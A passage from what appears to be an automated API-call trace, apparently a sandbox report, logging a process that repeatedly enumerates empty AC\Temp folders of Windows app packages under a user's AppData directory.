ftLastWriteTime.dwLowDateTime=0x50a206ba, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d1430 [0200.849] FindNextFileW (in: hFindFile=0x30d1430, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50a206ba, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc99b77a2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x50a206ba, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.851] FindNextFileW (in: hFindFile=0x30d1430, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50a206ba, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc99b77a2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x50a206ba, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.851] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x64234147, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc9ad6578, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x64234147, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d1230 [0200.851] FindNextFileW (in: hFindFile=0x30d1230, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x64234147, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc9ad6578, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x64234147, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.851] FindNextFileW (in: hFindFile=0x30d1230, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x64234147, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc9ad6578, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x64234147, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.851] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.AccountsControl_cw5n1h2txyewy\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62879dc0, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc9c1eb1a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x62879dc0, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d1530 [0200.851] FindNextFileW (in: hFindFile=0x30d1530, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62879dc0, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc9c1eb1a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x62879dc0, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.851] FindNextFileW (in: hFindFile=0x30d1530, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62879dc0, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc9c1eb1a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x62879dc0, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.851] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Advertising.Xaml_8wekyb3d8bbwe\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xda94ee85, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xda94ee85, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xda94ee85, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d13f0 [0200.852] FindNextFileW (in: hFindFile=0x30d13f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xda94ee85, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xda94ee85, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xda94ee85, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.852] FindNextFileW (in: hFindFile=0x30d13f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xda94ee85, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xda94ee85, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xda94ee85, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.852] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Appconnector_8wekyb3d8bbwe\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d09b9ce, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc9e6d9f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4d09b9ce, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d1270 [0200.852] FindNextFileW (in: hFindFile=0x30d1270, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d09b9ce, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc9e6d9f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4d09b9ce, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.852] FindNextFileW (in: hFindFile=0x30d1270, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d09b9ce, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc9e6d9f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4d09b9ce, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.852] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingFinance_8wekyb3d8bbwe\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b12a8ec, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc9ff24d1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4b12a8ec, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d1730 [0200.852] FindNextFileW (in: hFindFile=0x30d1730, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b12a8ec, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc9ff24d1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4b12a8ec, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.852] FindNextFileW (in: hFindFile=0x30d1730, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b12a8ec, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc9ff24d1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4b12a8ec, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.852] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingNews_8wekyb3d8bbwe\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x497af639, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xca266ba9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x497af639, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d15f0 [0200.853] FindNextFileW (in: hFindFile=0x30d15f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x497af639, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xca266ba9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x497af639, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.853] FindNextFileW (in: hFindFile=0x30d15f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x497af639, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xca266ba9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x497af639, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.853] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingSports_8wekyb3d8bbwe\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x45349d8f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xca386f77, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x45349d8f, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d1630 [0200.853] FindNextFileW (in: hFindFile=0x30d1630, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x45349d8f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xca386f77, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x45349d8f, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.853] FindNextFileW (in: hFindFile=0x30d1630, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x45349d8f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xca386f77, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x45349d8f, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.853] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingWeather_8wekyb3d8bbwe\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42fd2d0e, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xca4c0048, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x42fd2d0e, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d1770 [0200.853] FindNextFileW (in: hFindFile=0x30d1770, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42fd2d0e, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xca4c0048, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x42fd2d0e, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.853] FindNextFileW (in: hFindFile=0x30d1770, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42fd2d0e, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xca4c0048, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x42fd2d0e, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.853] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BioEnrollment_cw5n1h2txyewy\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x66e830be, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xca5a5253, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x66e830be, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d1670 [0200.854] FindNextFileW (in: hFindFile=0x30d1670, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x66e830be, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xca5a5253, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x66e830be, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.854] FindNextFileW (in: hFindFile=0x30d1670, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x66e830be, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xca5a5253, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x66e830be, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.854] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.CommsPhone_8wekyb3d8bbwe\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3e0b2ab2, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xca6d16e7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3e0b2ab2, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d1330 [0200.854] FindNextFileW (in: hFindFile=0x30d1330, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3e0b2ab2, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xca6d16e7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3e0b2ab2, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.854] FindNextFileW (in: hFindFile=0x30d1330, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3e0b2ab2, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xca6d16e7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3e0b2ab2, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.854] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ConnectivityStore_8wekyb3d8bbwe\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3ab4ba5c, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xca7d39c3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3ab4ba5c, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d1470 [0200.854] FindNextFileW (in: hFindFile=0x30d1470, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3ab4ba5c, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xca7d39c3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3ab4ba5c, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.854] FindNextFileW (in: hFindFile=0x30d1470, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3ab4ba5c, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xca7d39c3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3ab4ba5c, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.855] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.CredDialogHost_cw5n1h2txyewy\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x767fb19c, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x767fb19c, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x767fb19c, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d17f0 [0200.855] FindNextFileW (in: hFindFile=0x30d17f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x767fb19c, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x767fb19c, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x767fb19c, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.855] FindNextFileW (in: hFindFile=0x30d17f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x767fb19c, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x767fb19c, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x767fb19c, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.855] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe8f2692, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xfe8f2692, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xfe8f2692, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d1830 [0200.855] FindNextFileW (in: hFindFile=0x30d1830, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe8f2692, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xfe8f2692, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xfe8f2692, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.855] FindNextFileW (in: hFindFile=0x30d1830, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe8f2692, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xfe8f2692, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xfe8f2692, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.855] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Getstarted_8wekyb3d8bbwe\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38977bdf, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xcaa73a8d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x38977bdf, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d1070 [0200.855] FindNextFileW (in: hFindFile=0x30d1070, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38977bdf, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xcaa73a8d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x38977bdf, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.855] FindNextFileW (in: hFindFile=0x30d1070, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38977bdf, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xcaa73a8d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x38977bdf, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.856] FindFirstFileW (in: 